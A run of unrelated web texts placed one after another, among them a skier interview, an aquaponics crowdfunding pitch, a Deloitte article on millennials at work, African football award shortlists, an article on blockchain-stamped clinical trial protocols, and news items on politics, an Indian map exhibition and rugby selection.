I get inspired mostly in seeing people have fun. It is too much about pushing the sport forward and sometimes people are progressive just by having fun, and that’s what I find inspirational. The fun factor and people who are playing with the terrain in different ways is inspiring. I like watching Nicolas Müller ride. And, this edit is super straight-forward hard-charging skiing, and it’s really inspiring to look at people who ski like that with control like Ian McIntosh and Sverre Liliequist—he’s an inspiration for everyone over here. I find a lot of inspiration from the people I ski with, too.
Did those lines have you gripped?
For sure, standing on top of those lines had my heart racing. But, on the other hand, what I am really scared about is snow moving and avalanches. I think I said this everyday, “Well, we don’t have to worry about avalanches.” It was so sweet to not have to worry about that. I was less scared skiing the shit-fuck conditions compared to skiing a sweet face with no tracks on it because I knew what I was going to get. It was entirely up to me. I’d look at a line and say to myself, “Okay, I have to brake there.” It was totally up to me, but when I ski deep pow there’s always this uncertainty and there’s a lot that is out of my control.
It looked fun though…
Yeah! Some of those lines were really fun and I would come off the line feeling like I had lightning bolts coming out of my fingers.
Photo courtesty of Tecnica/BlizzardThis Friday will be Black Friday – the biggest sales day in America.
In my experience, Black Friday is never worth it. I think shopping should be a slow, relaxing, and pleasant experience. You should be able to casually peruse things and take a day, maybe even a week, to come to a decision. If you’re lucky enough to meet a salesperson who is knowledgable about what they’re selling, you should enjoy a chat a learn something about what you’re buying.
Black Friday is the opposite of this. It encourages impulsive shopping and feeds bargain addictions. Salespeople rarely have time to speak to you and people are often scrambling around for whatever they can grab. It’s better, I think, to stay at home and spend time with the family. Enjoy your comfy slippers, have some coffee, and maybe help bake some cookies. Come next Monday, there will be a ton of sales online anyway, and shopping from the comfort of your own home will be more pleasant than standing outside of a boutique at 7am.
If you insist on doing Black Friday, I suggest going to the stores today or tomorrow. If you see something you like, ask one of the Sales Associates if they’ll put it on hold for you until Friday. I’ve found many are willing to, and some will also happily take your credit card information and charge you Friday, thus allowing you to pick up the garment on Saturday, after the madness has ended.Listen and download Scrim – #Drugflow 2 Mixtape
New Orleans own, DJ Scrim aka Scrim, drops his second installment of the DrugFlow series, #DrugFlow 2. Every song written and produced by Scrim, himself, he grabs Trapaholics to host this tape trying to make it an extra special tape! G*59 Records – Instagram = @scottsuckz / Twitter = @deejayscrim / facebook.com/adudenamedscrim
Cover Artwork:
Tracklist:
1.Scrim Intro
2.#DrugFlow 2 Intro [Prod. by DJ Scrim]
3.Diligaf [Prod. by DJ Scrim]
4.Rules Of Da Game [Prod. by DJ Scrim]
5.Chopper Season [Prod. by DJ Scrim]
6.Big Time feat. JK [Prod. by DJ Scrim]
7.Flex feat. Coolest [Prod. by DJ Scrim]
8.Eye Luv U [Prod. by DJ Scrim]
9.Drug Flow [Prod. by DJ Scrim]
10.Tori Tootie Sims [Prod. by DJ Scrim]
11.Interlude
12.Have Mercy [Prod. by DJ Scrim]
13.Hunnid Bitches [Prod. by DJ Scrim]
14.Dat Turn Up [Prod. by DJ Scrim]
15.Psychoz feat. Coolest [Prod. by DJ Scrim]
16.Dream (Interlude) [Prod. by DJ Scrim]
17.Bang [Prod. by DJ Scrim]
18.Me [Prod. by DJ Scrim]
19.Hi (Smoke Break [Prod. by DJ Scrim]
20.4 My Dogz [Prod. by DJ Scrim]
21.Fvck Wit Me feat. Coolest [Prod. by DJ Scrim]
22.Trippy [Prod. by DJ Scrim]
23.Narcotics [Prod. by DJ Scrim]
24.Started [Prod. by DJ Scrim]
25.Scrim OutroAqua Greens is a closed loop ecosystem approach to growing food. It combines two technologies, hydroponics and aquaculture to create aquaponics.
Everything we do, we believe in being socially, economically and environmentally responsible. We believe in thinking differently. The way we do this is providing the most nutrient rich, locally grown organics and fish to the city of Toronto.
“Once you become educated on this food and how much better, tastier, more nutritious it is and it’s not going to cost you more, you’ve got a winning formula” --Rose Reisman, Nutritionist, Health and Wellness Expert, Author.
Our Vision
Aqua Green's vision is to become leaders in sustainable food production by producing more with less. We are passionate and dedicated about connecting people and communities with food through aquaponics.
Our Mission
Our mission with aquaponics is not only to seek solutions to our most pressing need for food security but also help our city and the people within it to live more healthy and vibrant lives. We want to grow food to be eaten the day it was picked. Aquaponics can also help educate local youth about what they can do to become great stewards of our land. Many people are surprised to find out that their food choices can reduce climate change and help protect the environment. It is up to us to replace all the food miles with local jobs and become true citizens of our city.
So what is Aquaponics?
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Aquaponics is the cultivation of fish and plants together in a re-circulating, closed loop ecosystem. Aquaponics is a hydroponic growing method that requires no soil. The plant roots are bathed in nutrient rich, highly oxygenated water that sees growth rates far above soil-grown plants. The "aqua" in aqauponics refers to the fish side of the equation. Natural bacterial cycles are utilized to convert fish waste to plant nutrients. Plants in turn, clean and filter the water that returns to the fish environment.
Current food System
Our city’s current food system is unsustainable and disconnected from us all. Here in Toronto, due to our tempered climate, we have a short harvesting season. As a result, the average food item sold in Toronto has traveled nearly 4,500 km and our fish travels even further.Green spaces that could be used as growing areas are shrinking. Health conscious consumers want an increased quality of food, while locavores and foodies demand locally grown produce in the meals they eat both at home and in restaurants.
The current food system is responsible for 30% of pollution and greenhouse gas emissions. Agriculture is by far the biggest consumer of fresh water, accounting for almost two thirds of overall water consumption. Petroleum use in traditional agriculture is at an all time high; it’s used for the tractors to plow the field, it’s in the fertilizer, pesticides, herbicides and fungicides. Petroleum is also used for the planes, trucks and ships which bring our food to us. ”.
Solution
Lets face it, food affects us all.Food is such an effective vehicle to connect people to one another, to their neighbourhoods and their city. Through aquaponics, we believe it is time to build on these connections and challenge ourselves to create a healthy and sustainable food system for our city.We need to engage people with food and reinvent how we get our food in a more sustainable way. Food to the city, from the city. Our potential is only limited by our greatest imagination.
Aqua Greens is excited and committed to harvesting the highest quality, nutrient rich produce and fish. We will blaze trails into new areas of sustainable food production helping us to deliver unequaled satisfaction for the consumers and our other stakeholders. We believe that food is a great vehicle for education, and a fantastic medium for generating excitement and awareness around health and sustainability issues. As we strive to provide more responsible food choices, we hope that everyone can feel great about buying from us and gain a better understanding of how our food choices impact our own health, as well as the health of our
environment, our communities and our planet.
Being environmentally, socially and economically responsible..
Environmentally
We use 90% less water than conventional soil based agriculture.
We grow vertically as appose to using valuable land.
No pesticides, fungicides, herbicides or chemicals used.
We reduce food miles supporting the local food movement.
We grow 5 time more plants in the same space its take to grow 1 in soil based agriculture.
We grow faster,tastier and more nutrient plants than any of our competitor's.
Socially
Reconnecting kids, people and communities with their food.
Inspiring future project and sustainable food production systems.
Building community relationships and fostering stronger community networks.
Educating and teaching our communities how to grow food sustainably.
Adding food security and protection from seasonal price fluctuation.
Economically
Creating new local jobs
Reviving, stimulating and strengthening the local economy.
Keeping wealth flowing within the community.
Meeting the demand for locally grown food.
Providing nutrient rich produce that encourages healthier lifestyles and improves lives.
Dramatically reduce our carbon footprint.
Less dependent on energy and food
Increase agritourism in our city.
Our Journey
AquaGreens initially started as a capstone project in our last year of our sustainable energy and building technology program at Humber College. We designed and constructed our own aquaponic system that harvested fresh produce and fish. We have always been passionate and dedicated to re-inventing how our city grows food.
Since graduation we’ve completed:
A professional business plan.
Attended extensive aquaponic seminars focusing on budget analysis, water quality, food safety and low cost RAS system.
leased out commercial space.
Collaborated with industry experts.
Secured orders.
Set in place advertiseing and promotional plan.
Working with local farmers markets, chefs and nutritionist.
Sourced out sustainable packaging.
Worked with local hydroponic commercial farm.
Attain aquaculture licenses.
Attain purchase orders from potential clients.
We both have over 20 years experience in the food industry. About 4 years ago we decided to go back to school to learn about sustainability. It wasn't easy at our age but it was well worth it, we learn how important sustainable food production is to our environment and our health.
After graduating from school, we realized that this was an opportunity for us to combine our education in sustainability and our experience in the food industry to create a profitable aquaponic business.
Since we've graduated
Here’s where you come in.We need support from awesome kick starter viewers like yourselves that are dedicated to a sustainable planet to help fund our aquaponic system. We plan to recapture an industrial wasteland site in the center of Toronto and lease out the commercial space. We will design and construct our aquaponic system in a controlled indoor environment to provide a safe year round harvest. We will use the funding for aquatic tanks, water pumps, grow beds,fish,plants and other essential parts for our system.
A SPECIAL THANKS TO:×
Millennials seek purpose, flexibility, collaboration, and innovation at work. To help build and nurture their organizations’ young talent—while fostering an environment that can benefit employees of all ages—CIOs and their C-suite counterparts can focus on improving four areas.
Today’s companies include a growing number of millennials, and their organizational influence continues to grow. The oldest members of this generation, now in their mid-30s, are moving into positions of authority. The youngest are—or soon will be—entering the workforce. Yet despite the increasing presence of these employees, most corporate cultures have not yet shifted to represent millennial values.
For example, according to Deloitte LLP research, two out of three millennials say their organization’s purpose is a reason they choose to work there; in organizational cultures without perceived purpose, only one out of five is satisfied at work. While they believe the pursuit of profit is important, less than half think it should be the most important achievement of a business. Combine those opinions with the fact that most millennials believe current leadership and organizational cultures are too traditional and inward-looking, and we begin to see a desire to revolutionize our organizations’ cultures.
Beyond pursuing purpose, millennials seek to invent new ways of doing business and solving problems; create flexible careers and avoid being limited to one aspect of a business; collaborate openly, using tools to innovate; and leave behind the “this is the way we’ve always done it” mentality. Many are hungry for a culture of work that allows them to expand their thinking in the service of better projects, brands, science, and technology. They show interest in rotational programs that expose them to different areas of a company, and in global assignments that give them access to new experiences and ways of living. Even relatively small initiatives—such as placing a millennial leader in a foreign office for a month-long project—can have a significant impact.
CIOs can help their organizations bring these values to life by improving the following four areas to facilitate millennial-friendly work cultures and, by extension, bolster business performance:
Technology. Millennials are comfortable with technology and quick to adopt the latest tools. In the 2015 Deloitte Millennial Survey, more than a third of respondents indicate they develop mobile apps outside of work, nearly two-thirds report they use their businesses’ social tools or networking applications for instantaneous collaboration, and nearly 80 percent agree that as technology develops further, their work lives will become more fulfilling.
Yet in business cultures where responsibility for technology falls squarely on the shoulders of the CIO and the IT department, employees lack technology flexibility. They are unable to develop—and in some cases, even select—their own applications or integrate new software with the organization’s infrastructure. Instead of segmenting technology into the IT organization, CIOs can develop frameworks that allow technology to be deployed freely throughout the business, while continuing to safeguard and monitor key information and assets. This brings flexibility to work product creation and enhances work connectivity.
Skill alignment. Our research finds that only 28 percent of millennials believe their organizations are making full use of their skills. Furthermore, 42 percent of respondents say they will not be able to learn the skills and gain the experience they need to achieve their career ambitions in their current organizations.
Rather than accepting turnover as inevitable, organizations can attempt to shift their cultures to better develop young talent. To close the gap, companies can evolve roles and responsibilities to enable millennials to use their skills, foster mentorship opportunities with older colleagues, encourage cross-functional collaboration, and establish immersive development opportunities.
Innovation. In both the 2014 and 2015 Deloitte millennial studies, millennials indicate they value learning innovative strategies and incorporating them into their work. However, only half say current business cultures encourage employees to come up with better ways of working, and only 23 percent think their senior leadership prioritizes developing new and innovative products and services. More than a quarter of 2015 respondents say the main barrier to innovation is the attitude of senior management, and more than a third cite financial barriers, including a lack of investment in R&D.
To drive innovation, CIOs can work with other senior leaders to permit flexibility in developing new processes and approaches to solving problems. Even if their companies cannot invest large sums of cash into R&D, CIOs can lead this effort by focusing on enabling innovation through collaborative strategies, tools, and technologies aligned with strategic business outcomes. Millennials will likely seek to innovate through purpose-driven opportunities, and these do not necessarily require a significant corporate investment.
Empowered well-being and work-life fit. In Deloitte’s 2014 millennial study, respondents in Brazil, Canada, China, Germany, India, Mexico, the U.K, and the U.S. list “flexible working conditions and work-life integration” as the No. 1 way organizations will have to change if they wish to improve retention.
For many millennials, concern about work-life balance has increased as they have become parents. Most companies, especially in the U.S., are culturally unequipped to provide support, and productivity is negatively affected. The sooner organizations become comfortable offering flexible work arrangements—without sacrificing the achievement of business goals—the faster they will likely see returns on their investment in talent.
*****
As the number of millennials in the workplace continues to climb, the division in cultural preferences between older and younger generations is getting wider. To effectively motivate the best talent, organizations can focus on narrowing the gaps between senior mandates and junior points of view, profit and purpose, and established processes and new innovations. They will likely find these efforts benefit not just their millennial employees, but all employees.
—by Christie Smith, managing principal, Deloitte University Leadership Center for Inclusion & Community Impact, Deloitte LLP; and Stephanie Turner, manager, Deloitte Survey Research & Analytics Center, Inclusion Center of Excellence, Deloitte Consulting LLP2016 winner Riyad Mahrez is missing from the Confederation of African Football's list for 2017
The Confederation of African Football has revealed its 30-man shortlists for the African Player of the Year and Africa-Based Player of the Year.
Gabon's Pierre-Emerick Aubameyang, who won in 2015, features along with a host of Europe-based stars, such as Sadio Mane of Senegal who came third in 2016.
2016 winner Riyad Mahrez of Algeria is a notable absentee from the main list.
All but seven of the nominees play for European clubs, with Egypt's Essam El Hadary on the list at the age of 44.
The veteran goalkeeper plays his club football in Saudi Arabia for Al-Taawoun.
Mahrez, meanwhile, has largely failed to produce the quality of football that he displayed last year when playing a key role in driving Leicester to the Premier League's most unlikely title triumph.
Four players make both the best Africa Player and best Africa-Based Player shortlists.
They are Tunisia's Ali Maaloul (Al Ahly), South Africa's Percy Tau, Uganda goalkeeper Dennis Onyango (both Mamelodi Sundowns) and Zambia's Fackson Kapumbu (Zesco United).
The respective winners will be announced in the Ghanaian capital Accra on 4 January 2018.
Votes from a combination of head coaches and technical directors from national teams, as well as members of Caf's Technical and Development Committee and a panel of media experts will determine the winners.
African Player of the Year:
Vincent Aboubakar (Cameroon & Porto), Karim El Ahmadi (Morocco & Feyenoord), Christian Atsu (Ghana & Newcastle), Pierre-Emerick Aubameyang (Gabon & Borussia Dortmund), Eric Bailly (Cote d'Ivoire & Manchester United), Cedric Bakambu (DR Congo & Villareal), Keita Balde (Senegal & Monaco), Christian Bassogog (Cameroon & Henan Jianye), Yves Bissouma (Mali & Lille), Khalid Boutaib (Morocco & Yeni Malatyaspor), Yacine Brahimi (Algeria & Porto), Essam El Hadary (Egypt & Al Taawoun), Junior Kabananga (DR Congo & Astana), Fackson Kapumbu (Zambia & Zesco), Naby Keita (Guinea & RB Leipzig), Ali Maaloul (Tunisia & Al Ahly), Sadio Mane (Senegal & Liverpool), Moussa Marega (Mali & Porto), Victor Moses (Nigeria & Chelsea), Youssef Msakni (Tunisia & Al Duhail), Michael Olunga (Kenya & Girona), Fabrice Ondoa (Cameroon & Sevilla), Denis Onyango (Uganda & Mamelodi Sundowns), Thomas Partey (Ghana & Atletico Madrid), Mohamed Salah (Egypt & Liverpool), Mbwana Samata (Tanzania & Genk), Jean Michel Seri (Cote d'Ivoire & Nice), Percy Tau (South Africa & Mamelodi Sundowns), Bertrand Traore (Burkina Faso & Lyon), William Troost-Ekong (Nigeria & Bursaspor)
African Player of the Year - Based in Africa:
Nasr Eldin Ahmed (Sudan & Hilal Obeid), Junior Ajayi (Nigeria & Al Ahly), Karim Aouadhi (Tunisia & CS Sfaxien), Aristide Bance (Burkina Faso & Al Masry), Alkhaly Bangoura (Guinea & Etoile du Sahel), Achraf Bencharki (Morocco & Wydad Athletic Club), Jeremy Brockie (New Zealand & Supersport), Fawzi Chaouchi (Algeria & MC Alger), Oussama Darfalou (Algeria & USM Alger), Muaid Ellafi (Libya & Ahly Tripoli), Tady Etekiama (DR Congo & AS Vita), Ahmed Fathi (Egypt & Al Ahly), Dean Furman (South Africa & Supersport United), Sylvain Gbohouo (Cote d'Ivoire & TP Mazembe), Tarek Hamed (Egypt & Zamalek), Fackson Kapumbu (Zambia & Zesco), Saber Khalifa (Tunisia & Club Africain), Taha Yassine Khenissi (Tunisia & Esperance), Ali Maaloul (Tunisia & Al Ahly), Ayman Majid (Morocco & FUS Rabat), Ben Malango (DR Congo & TP Mazembe), Aymen Mathlouthi (Tunisia & Etoile du Sahel), Mohamed Meftah (Algeria & USM Alger), Sabelo Ndzinisa (Swaziland & Mbabane Swallows), Denis Onyango (Uganda & Mamelodi Sundowns), Mohamed Ounnajem (Morocco & Wydad Athletic Club), Elsamani Saadeldin (Sudan & Al Merreikh), Saladin Said (Ethiopia & Saint George), Geoffrey Serunkuma (Uganda & KCCA), Percy Tau (South Africa & Mamelodi Sundowns).Robert Mercer is a billionaire hedge fund manager who originally constructed the multi-million Cambridge Analytica data tool to aid Ted Cruz in winning the 2016 GOP Primary.
Mr. Mercer bought controlling interest in Breitbart Media for $10+ million. It was through Breitbart media that Mercer, together with Steve Bannon, deployed the Cambridge Analytica tool with a two year presidential poll (2014/2015) to vacuum up user data for later use in the 2016 republican primary. Kellyanne Conway is part of their long-term relationship dynamic.
However, after Ted Cruz refused to specifically and enthusiastically endorse the winner, Donald trump, at the GOP convention in Cleveland, Robert Mercer kicked him out of his suite. Robert Mercer generally stays in the background and his daughter Rebekah Mercer leads the political advocacy. That said, they have the resources and disposition to destroy just about any political foe they choose to engage.
(Via Politico) One of Donald Trump’s most generous political benefactors is providing a six-figure donation to a super PAC devoted to unseating Sen. Jeff Flake, an Arizona Republican who has been fiercely critical of the president. Robert Mercer, a reclusive hedge fund billionaire who was intimately involved in Trump’s rise and helped to bankroll his 2016 campaign, is contributing $300,000 to a super PAC supporting former state Sen. Kelli Ward, who is challenging Flake in a Republican primary next year.
It’s the latest sign that Trump’s political machine is preparing to take on Flake, whose persistent attacks have angered the president. The White House has met with Ward and two other Republicans who are mulling primary challenges to the Arizona senator,
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principal analyst, Moor Insights & Strategy. “By lowering the cost of ownership and increasing the VR TAM, Radeon RX Series has the potential to propel VR-ready systems into retail in higher volumes, drive new levels of VR content investment, and even drive down the cost of VR headsets.”
“We congratulate AMD for bringing a premium VR ready GPU to market at a $199 price point,” said Dan O’Brien, vice president of virtual reality, HTC. “This shows how partners like AMD survey the entire VR ecosystem to bring an innovative Radeon RX Series product to power high end VR systems like the HTC Vive, to the broadest range of consumers.”
“We’ve seen an incredible range of immersive applications and game-changing experiences that have given millions of people around the world their first taste of virtual reality,” said Nate Mitchell, VP of Product, Oculus. AMD is going to help drive that adoption forward even more by bringing their high-end VR GPUs to the $199 price point.”
The Radeon RX Series launch represents the first salvo in AMD&rrsquo;s new “Water Drop” strategy aimed at releasing new graphics architectures in high volume segments first to support continued market share growth for Radeon GPUs. In May 2016, Mercury Research rreported that AMD gained 3.2% market share in discrete GPUs in Q1 2016 5. The Radeon RX Series will address a substantial opportunity in PPC gaming: more than 13.8 million PC gamers who spend $100-300 to upgrade their graphics cards, and 84% of competitive and AAA PC gamers6. With Polaris architecture-based Radeon RX Series graphics cards, AMD inttends to redefine the gaming experience in its class, introducing dramatically improved performance and efficiency, support for compelling VR experiences, and incredible features never before possible at these prices.About The Author Vitaly Friedman loves beautiful content and doesn’t like to give in easily. When he is not writing or speaking at a conference, he’s most probably running … More about Vitaly…
Beautiful Handwriting Styles, Lettering and Calligraphy
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Handwriting seems to have lost some of its attraction over the last years. Nobody writes beautiful handwritten letters, and uses digital means of communication with smileys, abbreviations and standard lettering instead. And that’s a pity. Since handwriting is unique, it has a tremendous expressive power a standard lettering isn’t able to achieve.
Handwriting styles seems to have lost some of its attraction over the last years. Nobody writes beautiful handwritten letters, and uses digital means of communication with smileys, abbreviations and standard lettering instead. And that’s a pity. Since handwriting is unique, it has a tremendous expressive power a standard lettering isn’t able to achieve.
More than that, handwritten text can be incredibly gorgeous. In fact, there is nothing more valuable than a beautiful handwritten letter sent to your beloved ones. And this post attempts to prove just that.
In the overview below you’ll find excellent examples of beautiful handwriting, creative lettering and professional calligraphy. It’s really amazing to see what one can create out of simple letters drawn with a pencil on a small piece of paper.
Further Reading on SmashingMag:
Meet Smashing Book 6 — our brand new book focused on real challenges and real front-end solutions in the real world: from design systems and accessible single-page apps to CSS Custom Properties, CSS Grid, Service Workers, performance, AR/VR and responsive art direction. With Marcy Sutton, Yoav Weiss, Lyza D. Gardner, Laura Elizabeth and many others. Table of Contents →
Calligraphy
1800s Lettering Sketchbook Journal Beautiful calligraphy from 1800s.
Experiment with photographic paper Written by Marina Marjina, a type designer and letterer from Russia.
Claredon Press, Flower A book cover from 1987. Published by Claredon Press. Created by Sheila Waters.
Cronica de los reyes catolicos, XVI century. A Spanish manuscript from Berkeley, University of California, The Bancroft Library.
Extra: Natasha Mileshina Natasha Mileshina’s work. Moscow, Russia.
Daily Type Calligraphy by Vera Evstafieva.
Pool Word
Tom Gourdie’s gallery Shakespeare’s Sonnets by Tom Gourdie. Handwriting master’s pieces from 1980s.
French Notarial Handwriting From Michael Twyman’s 26 November 2007 presentation.
Scripture and Calligraphy By Denis Brown.
Erin K. Nolan
Handwriting Styles, Doodling and Lettering
British Ariways B/W Font Alex Trochut’s work for British Airways. Sexy, sweet and beautiful lettering!
Panasonic Advertisement The design by the agency Lowerporta from Chile. An advertisement for Panasonic digital devices.
Art and Life Joei Lau’s project. Beautiful curves.
all the best Wishes from Ale Paul.
Estrella Levante Posters Tasty typography!
Extraverage x The KDU Karoly Kiralyfalvi, graphic designer from Budapest, Hungary.
Typography Jeff Finley’s work.
Split in Two Created by Pawel Janczarek.
Doodles! Beautiful doodles from Austin, TX.
Handwriting By Yury Ostromentsky.
takin’ it Lettering design by Jon Contino.
“R” By Zeptonn, an illustrator from the Netherlands.
1961 William Mitchell Pen Catalog
inspiredology.com | inspiredology.com
Zapf Games 2005 By Alexander Utkin.
Daily Type
inspiredology.com
Sostav.ru
Unit.nl
Daily Type
on Flickr - Photo Sharing!
zutto
STEREOTYPE
Typography
Arabic calligraphy
si scott design
Rolling Stones: Rolled Gold +
timeless
on Flickr - Photo Sharing!
Marian Bantjes: Yale Alumni Magazine
When Love Dies
Libertyland grand selection
Funeral of the Heart by Leah Hayes - front cover
Experiments with type
Typolight Type with light.
Feliz Natal | Merry Christmas By Marina Chaccur. “The 2006 online christmas card started being very real. In the beginning the letters were drawn by hand, then after the final layout was chosen, the white beads were arranged onto a paper with a very pale outline of the lettering. In the end, the paper was photographed, the image was altered in Photoshop, and the beads went back to the package.”CLINICAL trials are a murky old world. The pharmaceutical industry is keen to get new drugs to market and researchers are just as keen to report positive results. This can produce some rather unpleasant side-effects. Selective reporting of data from trials is rife. In one infamous example, a 2001 study reported that paroxetine, an antidepressant, was safe and effective for treating the illness in teenagers. It later emerged, however, that this was based on new measures of the drug’s effectiveness, introduced only after the drug had failed to show any significant improvement in the outcomes that had been specified when the trial was first drawn up. Later studies showed that the drug increased the risk of suicidal behaviour in children.
How to guard against such things got Greg Irving, a family doctor and a researcher at the University of Cambridge, thinking. He came up with a way to improve the reporting of clinical trials with the blockchain technology underlying bitcoin, a digital currency. The blockchain is a database that acts as a public ledger of all transactions with the currency, and is thought to be almost completely tamper-proof because it is validated and stored independently on thousands of different computers worldwide. This provides a way, Dr Irving reckons, to check that results have not been fudged.
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Since 2007 America’s drugs regulator has required that all clinical trials are registered in ClinicalTrials.gov, a publicly accessible database. So, Dr Irving used a recent example to demonstrate how his idea might work. He saved a copy of the study protocol, including the planned analysis and clinical outcomes it was supposed to test, to a text file. He then fed that file into an algorithm called an SHA256, which boils the data down into a unique string of characters known in cryptography as a “hash”. Even a small change to the original file, such as the addition of a full stop, would result in a completely different hash. (Conversely, it is impossible to use the code to reconstruct the contents of the original file.) Such strings are also used in bitcoin transactions.
To add a record of the codified protocol to bitcoin’s public ledger, its hash must be used in a bitcoin transaction. To do that Dr Irving used the hash generated from the trial protocol as a “private key”—essentially a password that allows someone to spend bitcoins in his online wallet. Bitcoin users usually randomly generate a hash for the same purpose. He then transferred a small sum of money from his bitcoin wallet to a second bitcoin wallet. The transaction created a “public key”—a second string of characters that is time-stamped and entered in the blockchain’s ledger.
Anyone with a copy of the trial protocol should be able to reproduce the above steps to check if they resulted in the same public key. This would prove that the copy of the protocol matched the original. To show that this was the case, Dr Irving gave his protocol to John Holden, also a general practitioner, who used it successfully, the pair report in F1000Research. Though the process might seem to be convoluted, Dr Irving and Dr Holden say it took less than five minutes.
Dr Irving believes the method could prevent “hidden outcome switching”, the egregious and statistically flawed practice of secretly changing the focus of a clinical trial to fit the results. A study last year of 137 trials found 60 reported on outcomes they were not looking for, according to their original protocol. The COMPare project, which monitors clinical trials, found only nine out of 67 studies it has so far looked at had reported their results properly.
With about 20,000 studies registered each year on ClinicalTrails.gov alone, such problems are likely to be the tip of a very large iceberg, Dr Irving contends. Public keys for protocols should be uploaded to trial registries, he argues, and included in research papers. Researchers and medical journals could speedily check whether the right results were being reported. Ultimately, the process could be automated.
Another benefit, paradoxically, is that the protocol for studies could be hidden until completed. This might be useful for commercially sensitive trials of new therapies. As long as the public key was uploaded to a registry when the trial began, the protocol could be verified later without the worry that it had been changed during the study. Dr Irving would now like to test his ideas on a small number of trials. And, of course, to report the results properly.
Update (June 22nd 2017): On May 25th 2017 the study mentioned in this article was retracted by its authors due to concerns over unreliable methodology. Read more herePress Information Bureau
Government of India
Ministry of Tourism
11-August-2015 20:23 IST
‘Cosmography to Cartography’: An Exhibition on Historic Indian Maps begins at National Museum in New Delhi
‘Cosmography to Cartography’, an exhibition on historic Indian maps was inaugurated by the Minister of State for Culture (Independent Charge), Tourism (Independent Charge) and Civil Aviation, Dr Mahesh Sharma at National Museum in New Delhi today. The exhibition was inaugurated in the presence of US Ambassador to India, Mr Richard Verma. Secretary, Ministry of Culture, and Tourism (Additional Charge), Mr N K Sinha, DG, National Museum, Shri Sanjiv Mittal and Shri Prshant K Lahoti (Kalakriti Archives, Hyderabd) were present on the occasion.
Inaugurating the exhibition, Dr Mahesh Sharma said that India has a rich cultural heritage, and that “Cosmology to Cartography” is a way to know the real history of India. The exhibition is a classical way to know more about our culture and history, he added. Highlighting the importance of Indian culture, Dr Mahesh Sharma said that Indian culture is appreciated all over the world. Mr Richard Verma said that the maps created in the 15th and 16th century were remarkable in quality and are comparable in accuracy to the modern day maps prepared with the help of satellites.
Dr Mahesh Sharma released two books, ‘Purapashaan kaal me Manav’ and ‘Raghogarh Paintings’ from National Museum Collection on the occasion. He also released a catalogue on the exhibition ‘Cosmography to Cartography’
Cosmography to Cartography will draw on the Kalakriti Archive, collected by Shri Prshant Lahoti. The Archive is believed to house India’s most comprehensive private collection of historic maps. Two objects in the exhibition will also be drawn from the collections of the National Museum. The exhibition has been curated by Dr Vivek Nanda and Dr Alex Johnson.
Through a selection of over 72 maps, the exhibition showcases the evolution and growth of modern cartography from early cosmological representations of the ‘World of Mortals’. In doing so it also testifies to the competing global interests and influences – religious, economic and political - which have contributed to the perception of ‘India’ as we understand it today.
The exhibition features an extraordinary variety of painted and printed Indian maps produced in the sub-continent and outside, including original manuscript representations. It also captures the development of Indian printing industry, which although established by the Europeans, came to be heavily influenced by Indian artistic styles and technology.
Monumental original paintings of profound religious symbolism from the 15th to 19th Centuries will be juxtaposed with historical maps of India, many of which are unique and have never before been placed on public view.
Covering themes from pilgrimage to clashing empires, the exhibition begins with Jain and Hindu cosmological representations, including the depiction of the universe as a vast ‘Cosmic Man’. This progresses to magnificent painted hangings on a monumental scale depicting sacred rivers and pilgrimage sites, and also to representations of the pilgrim’s destination, the temple.
The exhibition also includes cartographic depictions of the ancient European conception of the subcontinent, and the first vaguely accurate maps of India made in the wake of Vasco Da Gama’s arrival in 1498. This documents the evolution of map-making as part of the military contest for supremacy by various European powers and ultimately the cartographic consolidation of India through the map makers of the British Raj.
During the 16th Century, Portugal had a virtual monopoly on the European interaction with India. However, from the early 1600s, new powers arrived in India, and the maps of the British, Dutch, French, Danish and Flemish speak about their endeavours and their complex interactions with various Indian players.
NB/AKISLAMABADISLAMABAD (Reuters) - Pakistan allowed the wife and mother of an Indian man convicted of spying to visit him on Monday in Islamabad, eight months after he was sentenced to death by a military court.
Kulbhushan Sudhir Jadhav, a former officer in the Indian navy, was arrested in March 2016 in the Pakistan province of Baluchistan, where there has been a long-running conflict between national security forces and militant separatists.
The case has added to tensions between the nuclear-armed neighbors, who often accuse each other of violating a 2003 ceasefire along their disputed border in Kashmir, where the countries sometime engage in intense artillery duels.
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Pakistan released a picture of Jadhav's mother, Avanti, and wife, Chetankul, seated at a desk and speaking to him from behind a glass window.
"The mother and wife of Commander Jadhav sitting comfortably in the Ministry of Foreign Affairs Pakistan. We honor our commitments," a spokesman for Pakistan's foreign office, Mohammad Faisal, said in an earlier Twitter posting when the women first arrived at the ministry in Islamabad.
India's foreign affairs office has not responded to a request for comment on the meeting.
After Jadhav was sentenced to death in April, India asked the World Court for an injunction to bar the execution, arguing that he was denied diplomatic assistance during what it says was an unfair trial.
The World Court ordered Pakistan in May to delay Jadhav's execution, and said Islamabad had violated a treaty guaranteeing diplomatic assistance to foreigners accused of crimes.
Pakistan authorities say Jadhav confessed to being ordered by India's intelligence service to conduct espionage and sabotage in Baluchistan "to destabilize and wage war against Pakistan".
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Baluchistan is at the center of a $57 billion Chinese-backed "Belt and Road" development project that at first focused on Chinese companies building roads and power stations, but is now expanding to include setting up industries.
In a transcript released by Pakistan of what it says is Jadhav's confession, the former naval officer says disrupting the Chinese-funded projects was a main goal of his activities.17 January 2014
Bath Rugby's flying winger Semesa Rokoduguni has been added to the England Saxons 25-man training squad to face the O2 Ireland Wolfhounds at Kingsholm on Saturday, January 25th (17.00, live on Sky Sports HD1).
Rokoduguni, who scored a brace against Bordeaux last night on his return from injury, is one of 10 players called in from outside the Saxons Elite Player Squad, nine of whom are making their first appearances at this level, and joins his Bath teammates Nathan Catt and Jonathan Joseph in the squad.
He joins young forwards Alex Waller (Northampton Saints), Dave Ward, Charlie Matthews (both Harlequins) and Scott Wilson (Newcastle Falcons), and backs Dave Lewis, Henry Slade, and Sam Hill (all Exeter Chiefs) in impressing this season, as well as Tom Varndell (London Wasps) who returns to the squad for the first time since 2009.
They step up as temporary replacements for those players currently injured or elevated to the Senior squad that assembles next Monday. Gloucester centre Henry Trinder (groin) has not been considered to face the Wolfhounds.
The Saxons squad will be updated to take on Scotland A in Glasgow on January 31st but before then they face a significant challenge against the Wolfhounds, who they beat 14-10 in Galway last season with a late score from Saracens flanker Will Fraser.
Joe Lydon, the RFU's Head of International Player Development, leads the Saxons management with Head Coach Jon Callard assisted by Simon Hardy and Saracens' Paul Gustard.
England Head Coach Stuart Lancaster said: "Our philosophy on selection is to give some younger players an opportunity alongside one or two more established players who are looking to push into the Senior squad. It is a great opportunity for players to put a marker down and show they have the ability to go from club to country and still deliver the club form many of them have been showing. The opportunities ahead of them are clear with a major tour to New Zealand to come this summer before the Rugby World Cup next year.
